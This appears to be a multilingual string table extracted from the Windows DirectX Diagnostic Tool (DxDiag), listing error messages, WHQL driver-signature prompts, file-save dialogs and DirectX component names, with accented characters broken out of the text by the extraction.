#DXDIAGN.DLL-tiedostoa ei voi ladata
DXDIAGN.DLL-tiedosto on vanha[T
n toiminnon voi suorittaa vain j
rjestelm
nvalvoja. Ota yhteytt
rjestelm
nvalvojaan.
DxDiag-ohjelma tarkistaa, onko ohjaimillasi Microsoft Windows Hardware Quality Labsin (WHQL:n) digitaalinen allekirjoitus eli logo? Windows saattaa t
in ladata uusia WHQL-sertifikaatteja Internetin v
lityksell
rjestelm
si ei v
tietoja. On suositeltavaa vastata Kyll
, jotta DxDiag-ohjelma saa tarkemmat tiedot j
rjestelm
!Impossible de charger DXDIAGN.DLL
DXDIAGN.DLL est obsol
teiSeule les administrateurs syst
me peuvent effectuer cette op
ration. Contactez un administrateur syst
Souhaitez-vous autoriser DxDiag
rifier si les pilotes sont sign
riquement par les laboratoires de contr
le qualit
du mat
riel con
u pour Windows de Microsoft
? Cela peut entra
ner la connexion de Windows
Internet pour t
charger de nouveaux certificats WHQL. Aucune information n'est r
e de votre syst
me. Nous vous recommandons de r
pondre "Oui" pour que DxDiag dispose de davantage d'informations sur votre syst
DXDIAGN.DLL
DXDIAGN.DLL
- DxDiag
(WHQL)
Microsoft's Windows
- Windows
WHQL
- DxDiag
A DXDIAGN.DLL nem t
A DXDIAGN.DLL elavultmEzt a m
veletet csak rendszergazd
k hajthatj
gre. K
rjen meg egy rendszergazd
velet v
grehajt
lyezi, hogy a DxDiag ellen
rizze, hogy illeszt
programjai rendelkeznek-e a Microsoft Windows Hardware Quality Labs (WHQL) tesztlaborat
nak Windows embl
ma visel
re jogos
digit
lis al
val? Emiatt el
fordulhat, hogy a Windows az internetre csatlakozva let
lti az
j WHQL-tan
nyokat. Ez az elj
n rendszer
l semmilyen adatot nem gy
jt. Javasoljuk, hogy v
lassza az "Igen" lehet
gy a DxDiag teljesebb k
inform
d ad a rendszerr
Impossibile caricare DXDIAGN.DLL
DXDIAGN.DLL non
aggiornato.
Questa operazione pu
essere eseguita solo dagli amministratori di sistema. Per eseguirla, contattare un amministratore di sistema.
Verificare con DxDiag che i driver siano dotati di firma digitale WHQL (Windows Hardware Quality Labs)? Per eseguire questa operazione, il sistema operativo potrebbe connettersi a Internet per scaricare nuovi certificati WHQL. Dal sistema non verr
recuperata alcuna informazione. Per consentire a DxDiag di ottenere informazioni pi
dettagliate sul sistema, rispondere "S
DXDIAGN.DLL
DXDIAGN.DLL
Microsoft's Windows Hardware Quality Lab (WHQL)
DxDiag
Windows
WHQL
DxDiag
DXDIAGN.DLL
DXDIAGN.DLL
DxDiag
Microsoft
Windows Hardware Quality Labs(WHQL)
Windows
Internet
WHQL
DxDiag
Kan DXDIAGN.DLL niet laden
DXDIAGN.DLL is verouderd
Deze bewerking mag alleen worden uitgevoerd door systeembeheerders. Vraag een systeembeheerder om deze bewerking uit te voeren.
Wilt u toestaan dat DxDiag controleert of uw stuurprogramma's digitaal zijn ondertekend door Microsoft's Windows Hardware Quality Labs (WHQL)? Mogelijk wordt er verbinding gemaakt met het Internet om nieuwe WHQL-certificaten te downloaden. Hierbij worden geen gegevens van uw systeem opgehaald. U wordt aangeraden met 'Ja' te antwoorden zodat DxDiag een completer beeld heeft van uw systeem.
Kan ikke laste Dxdiagn.dll
Dxidagn.dll er utdatertwBare systemadministratorer kan utf
re denne operasjonen. Kontakt en systemadministrator for
re denne operasjonen.
Vil du tillate at DxDiag kontrollerer drivere som er digitalt signert som logosertifisert av Microsofts WHQL (Windows Hardware Quality Labs)? Dette kan f
re til at Windows kobler til Internett for
laste ned nye WHQL-sertifikater. Ingen informasjon hentes fra systemet. Du b
r svare Ja, slik at DxDiag har mer fullstendig informasjon om systemet.
*Nie mo
biblioteki DXDIAGN.DLL'Biblioteka DXDIAGN.DLL jest nieaktualna|Jedynie administratorzy systemu mog
wykona
operacj
. Skontaktuj si
z administratorem systemu, aby wykona
operacj
Czy chcesz, aby program DxDiag sprawdza
, czy sterowniki s
podpisane cyfrowo przez Laboratoria jako
ci sprz
tu Microsoft Windows (WHQL)? Mo
e to spowodowa
e system Windows b
z Internetem w celu pobierania nowych certyfikat
w WHQL. Z systemu nie b
pobierane
adne informacje. Zaleca si
udzielenie odpowiedzi
ki czemu program DxDiag b
dzie dysponowa
niejszymi informacjami o systemie.
o foi poss
vel carregar DXDIAGN.DLL
DXDIAGN.DLL est
desatualizado
Apenas os administradores de sistema podem executar esta opera
o. Contate o administrador do sistema para executar esta opera
Deseja permitir que o DxDiag verifique se os drivers s
o assinados digitalmente com o logotipo dos laborat
rios de qualidade de hardware para Windows da Microsoft? Isso poder
fazer com que o Windows se conecte
Internet para fazer download dos novos certificados WHQL. Nenhuma informa
recuperada do sistema.
recomend
vel responder "Sim" para que o DxDiag tenha informa
es mais abrangentes sobre o sistema.
DXDIAGN.DLL
DXDIAGN.DLL~
DxDiag
Microsoft's Windows Hardware Quality Labs (WHQL)?
Windows
WHQL.
DxDiag
#Det gick inte att ladda DXDIAGN.DLL
DXDIAGN.DLL
ldrad}Endast systemadministrat
rer kan utf
ra den h
rden. Kontakta en systemadministrat
r om du vill utf
ra den h
Vill du att DxDiag kontrollerar om drivrutinerna
r digitalt signerade med WHQL (Windows Hardware Quality Labs)? Om du till
ter det uppr
ttas kanske en anslutning till Internet f
r att h
mta nya WHQL-certifikat. Ingen information h
mtas fr
n ditt system. Du rekommenderas att till
ta detta (klicka p
Ja) s
att DxDiag f
r mer information om systemet.
DXDIAGN.DLL y
klenemedi
DXDIAGN.DLL g
ncel de
il|Sadece sistem y
neticileri bu i
lemi ger
tirebilir. L
tfen bu i
lemi ger
tirmek i
in sistem y
neticisine ba
vurun.
DxDiag'
lerinizin Microsoft WHQL (Windows Hardware Quality Labs) logolu olarak dijital imzaland
denetlemesine izin vermek istermisiniz?Bu Windows'un yeni WHQL sertifikalar
klemek i
in Internet'e ba
lanmas
na neden olabilir. Sisteminizden bilgi al
. DXDiag'
n sisteminiz hakk
nda daha yeterli bilgiye sahip olabilmesi i
in "Evet" yan
vermenizi
neririz.
DXDIAGN.DLL
DXDIAGN.DLL
DxDiag
Microsoft
Windows
(WHQL)
Windows
Internet
WHQL
DxDiag
o foi poss
vel carregar DXDIAGN.DLLDXDIAGN.DLL est
desactualizado
Apenas administradores de sistema podem executar esta opera
o. Contacte um administrador de sistema para executar esta opera
Deseja permitir ao DxDiag verificar se os controladores est
o assinados digitalmente com o log
tipo 'Laborat
rios de qualidade de hardware para Windows' da Microsoft (WHQL)? Isto pode fazer com que o Windows ligue
Internet para transferir os novos certificados WHQL. N
o foi poss
vel obter informa
o a partir do esquema. Recomend
mos que responda "Sim" para que o DxDiag tenha informa
es mais completas acerca do sistema.
No se pudo cargar DXDIAGN.DLLDXDIAGN.DLL no est
actualizado
nicamente pueden realizar esta operaci
n los administradores del sistema. P
ngase en contacto con el administrador del sistema para poder realizarla.
Desea que DxDiag compruebe si sus controladores est
n firmados digitalmente con el logotipo de los laboratorios de calidad de hardware para Windows de Microsoft (WHQL)? Esto puede hacer que Windows se conecte a Internet para descargar nuevos certificados WHQL. No se ha recuperado ninguna informaci
n del sistema. Se recomienda que responda "S
" para que DxDiag disponga de una informaci
s completa del sistema.
DxDiag
RICHED32.DLL
DirectX
(MSInfo).
DxDiag
RICHED32.DLL
DirectX
4Soubor n
dy pro DxDiag nelze naj
t nebo otev
t. Soubor RICHED32.DLL nelze na
Nelze vytvo
it seznam obraz
Nelze na
st ikonu7Nelze spustit Poradce p
ch s rozhran
m DirectX.
Nelze spustit program MSInfo.
lp-filen til DxDiag blev ikke fundet eller kunne ikke
bnes.RICHED32.DLL kan ikke indl
ses. Billedliste kunne ikke oprettes.
Ikonet kunne ikke indl
ses.'DirectX-fejlfinding kunne ikke startes./Microsoft Systemoplysninger kunne ikke startes.
QDie Hilfedatei f
r DxDiag wurde nicht gefunden oder konnte nicht ge
ffnet werden.)RICHED32.DLL konnte nicht geladen werden.'Bildliste konnte nicht erstellt werden.#Symbol konnte nicht geladen werden.8DirectX-Problembehandlung konnte nicht gestartet werden.%MSInfo konnte nicht gestartet werden.
DxDiag.+
RICHED32.DLL
DirectX.B
0Could not find or open the help file for DxDiag.
Could not load RICHED32.DLL
Could not create image list
Could not load icon+Could not start the DirectX Troubleshooter.
Could not start MSInfo.
DxDiag-ohjetiedostoa ei l
ydy.$Riched32.dll-tiedostoa ei voi ladata
Kuvaluetteloa ei voi luoda
Kuvaketta ei voi ladata)DirectX-vianm
rityst
ei voi k
ynnist
rjestelm
tiedot-sovellusta ei voi k
ynnist
>Impossible de trouver ou d'ouvrir le fichier d'aide de DxDiag."Impossible de charger RICHED32.DLL'Impossible de cr
er la liste des images
Impossible de charger l'ic
ne;Impossible de d
marrer la R
solution des probl
mes DirectX.
Impossible de d
marrer MSInfo.
DxDiag."
RICHED32.DLL
DirectX.&
<Nem tal
vagy nem lehet megnyitni a DxDiag s
t.(Nem lehet bet
lteni a RICHED32.DLL f
jlt%Nem lehet l
trehozni a k
pek list
Nem lehet bet
lteni az ikont-Nem lehet elind
tani a DirectX hibaelh
t.)Nem lehet elind
tani az MSInfo programot.
;Impossibile trovare o aprire il file della Guida di DxDiag.*Impossibile caricare il file RICHED32.DLL.+Impossibile creare l'elenco delle immagini.
Impossibile caricare l'icona.<Impossibile eseguire la risoluzione dei problemi di DirectX.
Impossibile eseguire MSInfo.
%DXDIAG
RICHED32.DLL
DirectX
Microsoft
DxDiag
RICHED32.DLL
DirectX
MSInfo
6Kan het helpbestand voor DxDiag niet vinden of openen.
Kan RICHED32.DLL niet ladenKan afbeeldingslijst niet maken
Kan pictogram niet laden2Kan de probleemoplosser voor DirectX niet starten.
Kan MSInfo niet starten.
1Kan ikke finne eller
pne hjelpefilen for DxDiag.
Kan ikke laste Riched32.dll
Kan ikke opprette bildeliste
Kan ikke laste ikon#Kan ikke starte DirectX-feils
Kan ikke starte MSInfo.
?Nie mo
na znale
lub otworzy
pliku pomocy do programu DxDiag.+Nie mo
biblioteki RICHED32.DLL Nie mo
na utworzy
listy obraz
Nie mo
ikonyMNie mo
na uruchomi
dzia do rozwi
zywania problem
w z programem DirectX.$Nie mo
na uruchomi
programu MSInfo.
o foi poss
vel encontrar ou abrir o arquivo de ajuda para DxDiag.&N
o foi poss
vel carregar RICHED32.DLL)N
o foi poss
vel criar a lista de imagens!N
o foi poss
vel carregar o
cone;N
o foi poss
vel iniciar a solu
o de problemas do DirectX."N
o foi poss
vel iniciar o MSInfo.
DxDiag.!
RICHED32.DLL%
DirectX.
MSInfo.
lpfilen f
r DxDiag kunde inte hittas eller
ppnas.$Det gick inte att ladda RICHED32.DLL$Det gick inte att skapa en bildlista
Det gick inte att ladda ikonen0Det gick inte att starta fels
karen f
r DirectX. Det gick inte att starta MSInfo.
5DxDiag i
in yard
m dosyas
bulam
yor veya a
RICHED32.DLL y
klenemedi
Resim listesi olu
turulamad
Simge y
klenemedi%DirectX Sorun Giderici Ba
MSInfo ba
DxDiag
RICHED32.DLL
DirectX
MSInfo
o foi poss
vel encontrar ou abrir o ficheiro de ajuda para DxDiag.1N
o foi poss
vel carregar o ficheiro RICHED32.DLL)N
o foi poss
vel criar a lista de imagens!N
o foi poss
vel carregar o
cone?N
o foi poss
vel iniciar a 'Resolu
o de problemas do DirectX'."N
o foi poss
vel iniciar o MSInfo.
@No se encontr
o no se pudo abrir el archivo de ayuda de DxDiag.
No se pudo cargar RICHED32.DLL&No se pudo crear una lista de im
No se pudo cargar el iconoFNo se pudo iniciar la herramienta de soluci
n de problemas de DirectX.
No se pudo iniciar MSInfo.
-Nelze z
skat z
informace o zobrazov
(Nelze z
skat z
informace o zvuku..Nelze z
skat dodate
informace o zobrazov
(Nelze z
skat dodate
informace o zvuku
1Grundl
ggende sk
rmoplysninger kunne ikke hentes./Grundl
ggende lydoplysninger kunne ikke hentes.DDer opstod et problem under hentning af yderligere sk
rmoplysninger.BDer opstod et problem under hentning af yderligere lysoplysninger.
<Standardanzeigeinformationen konnten nicht ermittelt werden.:Standardsoundinformationen konnten nicht ermittelt werden.HBeim Ermitteln weiterer Anzeigeinformationen ist ein Fehler aufgetreten.FBeim Ermitteln weiterer Soundinformationen ist ein Fehler aufgetreten.
Could not get basic display infoCould not get basic sound info."Problem getting extra display info Problem getting extra sound info
Perusn
tietoja ei voi hakea.
nitietoja ei voi hakea.#Virhe haettaessa n
tietoja"Virhe haettaessa
nen lis
tietoja
9Impossible d'obtenir les informations d'affichage de base4Impossible d'obtenir les informations audio de base.IProbl
me lors de l'obtention des informations d'affichage suppl
mentairesCProbl
me lors de l'obtention des informations audio suppl
mentaires
:Nem siker
lt lek
rdezni az alapvet
-inform
kat6Nem siker
lt lek
rdezni az alapvet
hanginform
kat.8Probl
ma az extra k
-inform
zben3Probl
ma az extra hanginform
?Impossibile trovare le informazioni di visualizzazione di base.2Impossibile trovare le informazioni audio di base.NErrore durante la ricerca delle informazioni di visualizzazione supplementari.AErrore durante la ricerca delle informazioni audio supplementari.
-Kan standaardweergavegegevens niet verkrijgen-Kan standaardgeluidsgegevens niet verkrijgen.:Probleem tijdens het verkrijgen van extra weergavegegevens9Probleem tijdens het verkrijgen van extra geluidsgegevens
0Kan ikke hente grunnleggende visningsinformasjon,Kan ikke hente grunnleggende lydinformasjon.3Problem under henting av ekstra visningsinformasjon.Problem under henting av ekstra lydinformasjon
3Nie mo
na uzyska
podstawowych informacji o ekranie4Nie mo
na uzyska
podstawowych informacji o d
ku.EWyst
problem podczas uzyskiwania dodatkowych informacji o ekranieEWyst
problem podczas uzyskiwania dodatkowych informacji o d
o foi poss
vel obter informa
sicas sobre v
o foi poss
vel obter informa
sicas sobre som.JOcorreu um problema ao serem obtidas informa
es adicionais sobre exibi
o2Problema ao obter informa
es adicionais sobre som
<Det gick inte att h
mta grundl
ggande bildsk
rmsinformation.6Det gick inte att h
mta grundl
ggande ljudinformation.3Det gick inte att h
mta extra bildsk
rmsinformation-Det gick inte att h
mta extra ljudinformation
Temel g
bilgisi al
Temel ses bilgisi al
.)Ek g
bilgisi al
rken sorun olu
tu%Ek ses bilgisi al
rken sorun olu
o foi poss
vel obter informa
es elementares sobre visualiza
o foi poss
vel obter informa
es elementares sobre somIOcorreu um problema ao obter informa
es suplementares sobre visualiza
o@Ocorreu um problema ao obter informa
es suplementares sobre som
4No se pudo obtener la informaci
sica de pantalla3No se pudo obtener la informaci
sica de sonido.?Problema al obtener informaci
n adicional acerca de la pantalla;Problema al obtener informaci
n adicional acerca del sonido
DirectMusic
DirectMusic
DirectShow$
DirectMusic
DirectMusic
DirectShow
Nelze z
skat informace o vstupu4Nelze z
skat informace o ovlada
i vstupn
>O rozhran
DirectMusic nebylo mo
skat z
informace.;O rozhran
DirectMusic nebylo mo
skat dal
informace.1P
ch informac
lo k probl
mu-Nelze z
skat informace o softwaru DirectShow./P
i hled
lo k chyb
9Der opstod et problem under hentning af inputoplysninger.?Der opstod et problem under hentning af inputdriveroplysninger.<Grundl
ggende oplysninger for DirectMusic kunne ikke hentes.9Der kunne ikke hentes yderligere DirectMusic-oplysninger.+Fejl under hentning af netv
rksoplysninger..Problem ved hentning af DirectShow-oplysninger%Problem ved scanning af systemenheder
CBeim Ermitteln der Eingabeinformationen ist ein Fehler aufgetreten.JBeim Ermitteln der Eingabetreiberinformationen ist ein Fehler aufgetreten.EStandardinformationen f
r DirectMusic konnten nicht ermittelt werden.IZus
tzliche Informationen f
r DirectMusic konnten nicht ermittelt werden.DBeim Ermitteln der Netzwerkinformationen ist ein Fehler aufgetreten.GBeim Ermitteln der DirectShow-Informationen ist ein Fehler aufgetreten.8Beim Scannen der Systemger
te ist ein Fehler aufgetreten
DirectMusic .>
DirectMusic .3
DirectShow=
Problem getting input info!Problem getting input driver info%Could not get basic DirectMusic info.%Could not get extra DirectMusic info.
Problem getting network infoProblem getting DirectShow infoProblem scanning system devices
Virhe haettaessa sy
tietoja$Virhe haettaessa sy
ohjaintietoja&DirectMusic-perustietoja ei voi hakea.%DirectMusic-lis
tietoja ei voi hakea.
Verkkotietoja ei saada#Virhe haettaessa DirectShow-tietoja&Virhe etsitt
rjestelm
laitteita
6Probl
me lors de l'obtention des informations d'entr
e@Probl
me lors de l'obtention des informations du pilote d'entr
e:Impossible d'obtenir les informations DirectMusic de base.BImpossible d'obtenir les informations DirectMusic suppl
mentaires.,Probl
me d'obtention des informations r
seau0Probl
me d'obtention des informations DirectShow8Probl
me au cours de l'analyse des p
riques syst
DirectMusic
DirectMusic
DirectShow
/Probl
ma a bemenetinform
zbenMProbl
ma a bemenet illeszt
programj
hoz tartoz
inform
zben>Nem siker
lt lek
rdezni az alapvet
DirectMusic inform
kat.;Nem siker
lt lek
rdezni az extra DirectMusic inform
kat.1Probl
ma a h
zati inform
zben3Probl
ma a DirectShow inform
zben'Probl
ma a rendszereszk
k keres
6Errore durante la ricerca delle informazioni di input.AErrore durante la ricerca delle informazioni sul driver di input.<Impossibile ottenere le informazioni di base di DirectMusic.BImpossibile ottenere le informazioni supplementari di DirectMusic.8Problema durante la ricezione delle informazioni di rete=Problema durante il recupero delle informazioni su DirectShow=Problema durante il rilevamento delle periferiche di sistema.
DirectMusic
DirectMusic
DirectShow
DirectMusic
DirectMusic
DirectShow
2Probleem tijdens het verkrijgen van invoergegevens@Probleem tijdens het verkrijgen van invoerstuurprogrammagegevens3Kan standaard-DirectMusic-gegevens niet verkrijgen./Kan extra DirectMusic-gegevens niet verkrijgen.1Probleem tijdens het opvragen van netwerkgegevens7Probleem tijdens het verkrijgen van DirectShow-gegevens1Probleem tijdens het scannen van systeemapparaten
+Problem under henting av inndatainformasjon6Problem under henting av informasjon for inndatadriver5Kan ikke hente grunnleggende DirectMusic-informasjon..Kan ikke hente ekstra DirectMusic-informasjon.(Problem med
hente nettverksinformasjon/Problem under henting av DirectShow-informasjon*Problem under skanning av systemegenskaper
problem podczas uzyskiwania informacji o wej
ciuDWyst
problem podczas uzyskiwania informacji o sterowniku wej
cia8Nie mo
na uzyska
podstawowych informacji o DirectMusic.7Nie mo
na uzyska
dodatkowych informacji o DirectMusic.$Nie mo
na uzyska
informacji o sieci;Wyst
problem podczas pobierania informacji o DirectShow8Wyst
problem podczas skanowania urz
systemowych
>Ocorreu um problema ao serem obtidas informa
es sobre entrada7Problema ao obter informa
es sobre o driver de entrada=N
o foi poss
vel obter as informa
sicas do DirectMusic.@N
o foi poss
vel obter as informa
es adicionais do DirectMusic. Problemas ao obter info. da rede+Problema ao obter informa
es do DirectShow/Problema ao examinar os dispositivos de sistema
DirectMusic.:
DirectMusic.$
DirectShow+
)Det gick inte att h
mta indatainformation8Det gick inte att h
mta information om indatadrivrutiner>Det gick inte att h
mta grundl
ggande DirectMusic-information.<Det gick inte att h
mta ytterligare DirectMusic-information.*Det g
r inte att h
tverksinformation.Det gick inte att h
mta DirectShow-information+Det gick inte att s
ka igenom systemenheter
bilgisi al
rken sorun olu
tu-Giri
bilgisi al
rken sorun olu
tu$Temel DirectMusic bilgisi al
.!Ek DirectMusic bilgisi al
bilgisi al
rken sorun olu
tu)DirectShow bilgisi al
rken sorun olu
tu(Sistem ayg
taran
rken sorun olu
DirectMusic
DirectMusic
DirectShow
3Ocorreu um problema ao obter informa
es de entradaGOcorreu um problema ao obter informa
es sobre controladores de entradaAN
o foi poss
vel obter informa
es elementares sobre DirectMusic.CN
o foi poss
vel obter informa
es suplementares sobre DirectMusic.5Ocorreu um problema ao obter informa
es sobre a rede3Ocorreu um problema ao obter informa
es DirectShow7Ocorreu um problema ao analisar dispositivos de sistema
*Problema al obtener informaci
n de entrada:Problema al obtener informaci
n de entrada del controlador5No se pudo obtener informaci
sica de DirectMusic.8No se pudo obtener informaci
n adicional de DirectMusic.<Se ha detectado un problema al obtener la informaci
n de red0Problema al obtener la informaci
n de DirectShow1Problema al examinar los dispositivos del sistema
= 0x%08x (%s)
DxDiag
=0x%08x (%s)
DxDiag /
%Chyba: %s, k
sledku = 0x%08x (%s)
Chyba: %s
Chyba n
stroje DxDiag
$Fejl: %s, resultatkode = 0x%08x (%s)
Fejl: %s
DxDiag-fejl
&Fehler: %s, Ergebniscode = 0x%08x (%s)
Fehler: %s
DxDiag-Fehler
: %s,
= 0x%08x (%s)
DxDiag
$Error: %s, result code = 0x%08x (%s)
Error: %s
DxDiag Error
#Virhe: %s, tuloskoodi = 0x%08x (%s)
Virhe: %s
DxDiag-virhe
+Erreur
: %s, code de r
sultat = 0x%08x (%s)
Erreur
Erreur DxDiag
: %s,
= 0x%08x (%s)
DxDiag
Hiba: %s, hibak
d = 0x%08x (%s)
Hiba: %s
DxDiag hiba
Errore: %s. Codice = 0x%08x (%s)
Errore: %s
Errore di DxDiag
= 0x%08x (%s)
DXDIAG
: %s,
= 0x%08x (%s)
DxDiag
%Fout: %s, resultaatcode = 0x%08x (%s)
Fout: %s
DxDiag-fout
$Feil: %s, resultatkode = 0x%08x (%s)
Feil: %s
DxDiag-feil
d: %s, kod wyniku = 0x%08x (%s)
d DxDiag
+Erro: %s, c
digo de resultado = 0x%08x (%s)
Erro: %s
Erro de DxDiag
: %s,
= 0x%08x (%s)
DxDiag
"Fel: %s, resultatkod = 0x%08x (%s)
Fel: %s
DxDiag-fel
"Hata: %s, sonu
kodu = 0x%08x (%s)
Hata: %s
DxDiag Hatas
= 0x%08x (%s)
DxDiag
+Erro: %s, c
digo de resultado = 0x%08x (%s)
Erro: %s
Erro DxDiag
*Error: %s, c
digo resultante = 0x%08x (%s)
Error: %s
Error de DxDiag
/Text File (*.txt)#*.txt#XML File (*.xml)#*.xml#
DxDiag
DxDiag.$
DxDiag
%s...
/Text File (*.txt)#*.txt#XML File (*.xml)#*.xml#
DxDiag
DxDiag
DxDiag
6Textov
soubor (*.txt)#*.txt#Soubor XML (*.xml)#*.xml#
DxDiag
txt3Soubor je ulo
en. Program DxDiag bude nyn
souboru do
lo k chyb
kejte, dokud program DxDiag nedokon
shroma
%s informac
-Tekstfil (*.txt)#*.txt#XML-fil (*.xml)#*.xml#
DxDiag
txt Filen er gemt. DxDiag afsluttes.-Der opstod et problem under lagring af filen.-Vent, mens DxDiag indsamler %s-oplysninger...
0Textdatei (*.txt)#*.txt#XML-Datei (*.xml)#*.xml#
DxDiag
txt1Datei wurde gespeichert. DxDiag wird nun beendet.4Beim Speichern der Datei ist ein Fehler aufgetreten.5Warten Sie, w
hrend DxDiag %sinformationen sammelt...
(*.txt)#*.txt#
XML (*.xml)#*.xml#
DxDiag
DxDiag
DxDiag
%s...
/Text File (*.txt)#*.txt#XML File (*.xml)#*.xml#
DxDiag
txt"File saved. DxDiag will now exit.$There was a problem saving the file.3Please wait while DxDiag collects %s information...
8Tekstitiedosto (*.txt)#*.txt#XML-tiedosto (*.xml)#*.xml#
DxDiag
txt+Tiedosto on tallennettu. DxDiag lopetetaan. Virhe tiedostoa tallennettaessa.,DxDiag ker
seuraavia tietoja: %s. Odota...
9Fichier de texte (*.txt)#*.txt#Fichier XML (*.xml)#*.xml#
DxDiag
txt4Fichier enregistr
. DxDiag va maintenant s'arr
ter.<Un probl
me est survenu lors de l'enregistrement du fichier..Attendez que DxDiag collecte %s information...
(*.txt)#*.txt#
XML (*.xml)#*.xml#
DxDiag
. DxDiag
- DxDiag
%s ...
jl (*.txt)#*.txt#XML-f
jl (*.xml)#*.xml#
DxDiag
txt1A f
jl ment
se befejez
tt. A DxDiag most kil
p.&Probl
pett fel a f
jl ment
sekor.CV
rjon, am
g a DxDiag
sszegy
jti az adatokat a k
vetkez
l: %s...
3File di testo (*.txt)#*.txt#File XML (*.xml)#*.xml#
DxDiag
txt)File salvato. Chiusura di DxDiag in corso)Problema durante il salvataggio del file.8Attendere. Raccolta delle informazioni su %s in corso...
(*.txt)#*.txt#XML
(*.xml)#*.xml#
DxDiag
DxDiag
(*.txt)#*.txt#XML
(*.xml)#*.xml#
DxDiag
DxDiag
.%DxDiag
5Tekstbestand (*.txt)#*.txt#XML-bestand (*.xml)#*.xml#
DxDiag
txt,Bestand opgeslagen. DxDiag wordt afgesloten.>Er is een fout opgetreden tijdens het opslaan van het bestand.LEen ogenblik geduld. DxDiag is bezig met het verzamelen van %s-informatie...
-Tekstfil (*.txt)#*.txt#XML-fil (*.xml)#*.xml#
DxDiag
txt"Filen er lagret. DxDiag avsluttes..Det oppstod et problem under lagring av filen.-Vent mens DxDiag samler inn %s-informasjon...
3Plik tekstowy (*.txt)#*.txt#Plik XML (*.xml)#*.xml#
DxDiag
txt>Plik zosta
zapisany. Program DxDiag zako
czy teraz dzia
anie.!Wyst
problem z zapisem pliku.<Czekaj, trwa zbieranie informacji przez program DxDiag %s...
9Arquivo de texto (*.txt)#*.txt#Arquivo XML (*.xml)#*.xml# Getting DirectDrawCreate address
txt/O arquivo foi salvo. O DxDiag ser
finalizado.
Problema ao salvar o arquivo.1Aguarde enquanto o DxDiag re
ne %s informa
(*.txt)#*.txt#XML-
(*.xml)#*.xml#
DxDiag
DxDiag
DxDiag
%s...
,Textfil (*.txt)#*.txt#XML-fil (*.xml)#*.xml#
DxDiag
txt,Filen sparas. DxDiag kommer nu att avslutas.
Det gick inte att spara filen.1V
nta medan DxDiag samlar in information om %s...
6Metin Dosyas
(*.txt)#*.txt#XML Dosyas
(*.xml)#*.xml#
DxDiag
txt.Dosya kaydedildi. DxDiag'dan
lacak.!Dosya kaydedilirken sorun olu
tu.0DxDiag %s bilgisini toplarken l
tfen bekleyin...
(*.txt)#*.txt#XML
(*.xml)#*.xml#
DxDiag
DxDiag
DxDiag
;Ficheiro de texto (*.txt)#*.txt#Ficheiro XML (*.xml)#*.xml#
DxDiag
txt$Ficheiro guardado. A sair do DxDiag.*Ocorreu um problema ao guardar o ficheiro.2Aguarde enquanto DxDiag re
ne informa
es de %s...
9Archivo de texto (*.txt)#*.txt#Archivo XML (*.xml)#*.xml#
DxDiag
txt$Archivo guardado. Finalizar
DxDiag.-Se produjo un problema al guardar el archivo.3Espere a que DxDiag obtenga la informaci
n de %s...
DxDiag
2DxDiag
i posledn
narazil program DxDiag na probl
stupu k rozhran
%s. Chcete rozhran
%s vynechat?
DxDiag har opdaget, at der muligvis har v
ret et problem med adgangen til %s sidste gang det blev brugt. Vil du springe %s over denne gang?
Es wurde festgestellt, dass beim letzten Zugriff auf %s m
glicherweise ein Fehler aufgetreten ist. M
chten Sie %s diesmal umgehen?
Nicht zutreffend
DxDiag
DxDiag has detected that there may have been a problem accessing %s the last time this program was used. Would you like to bypass %s this time?
NDxDiag: %s -ongelma t
n ohjelman edellisell
kerralla. Ohitetaanko %s?
DxDiag a d
qu'il y a peut-
tre eu un probl
me d'acc
%s la derni
re fois que ce programme a
utilis
. Voulez-vous ignorer %s cette fois
DxDiag
A DxDiag meg
totta, hogy a program legut
bbi fut
sa sor
n probl
ma lehetett a(z) %s el
vel. Kihagyja most a(z) %s
sszetev
}Durante l'ultimo utilizzo del programma potrebbero essersi verificati dei problemi di accesso a %s. Ignorare %s questa volta?
FDxDiag
(DxDiag
DxDiag heeft ontdekt dat er mogelijk een probleem is opgetreden bij het toegang verkrijgen tot %s, de laatste keer dat dit programma is gebruikt. Wilt u %s dit keer overslaan?
n.v.t.
DxDiag har oppdaget at det kan ha v
rt et problem med tilgangen til %s forrige gang programmet ble brukt. Vil du omg
%s denne gangen?
Program DxDiag wykry
y wyst
problemy przy pr
bach dost
pu do %s podczas ostatniego u
ycia tego programu. Czy chcesz tym razem pomin
O DxDiag detectou que pode ter havido um problema no acesso a %s na
ltima vez em que este programa foi usado. Voc
gostaria de ignorar %s neste momento?
wEtt problem kanske uppstod med att anv
nda %s senaste g
ngen programmet anv
ndes. Vill du hoppa
ver %s den h
Saknas
DxDiag, bu program
son kullan
nda %s
esine eri
nda bir sorun olmu
olabilece
ini alg
. Bu sefer %s
esini ge
mek ister misiniz?
/DxDiag
O DxDiag detectou que pode ter ocorrido um problema ao aceder a %s na
ltima vez que este programa foi utilizado. Pretende ignorar %s desta vez?
DxDiag ha detectado que posiblemente hubo un problema al tener acceso a %s la
ltima vez que se us
este programa.
Desea desviar %s esta vez?
no disponible
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
Direct3D
DirectSound
DirectMusic
DirectInput
DirectPlay
DirectShow
DirectPlay
DirectShow
DirectPlay
informace
DirectShow
DirectPlay
system
systemoplysningerne
DirectShow
systemenhed
DirectPlay
System
die Systeminformationen
DirectShow
Systemger
DirectPlay
DirectShow
DirectPlay
system
the system information
DirectShow
system device
DirectPlay
rjestelm
rjestelm
tiedot
DirectShow
rjestelm
DirectPlay
l'information syst
DirectShow
rique syst
DirectPlay
DirectShow
DirectPlay
rendszer
a rendszerinform
DirectShow
rendszereszk
DirectPlay
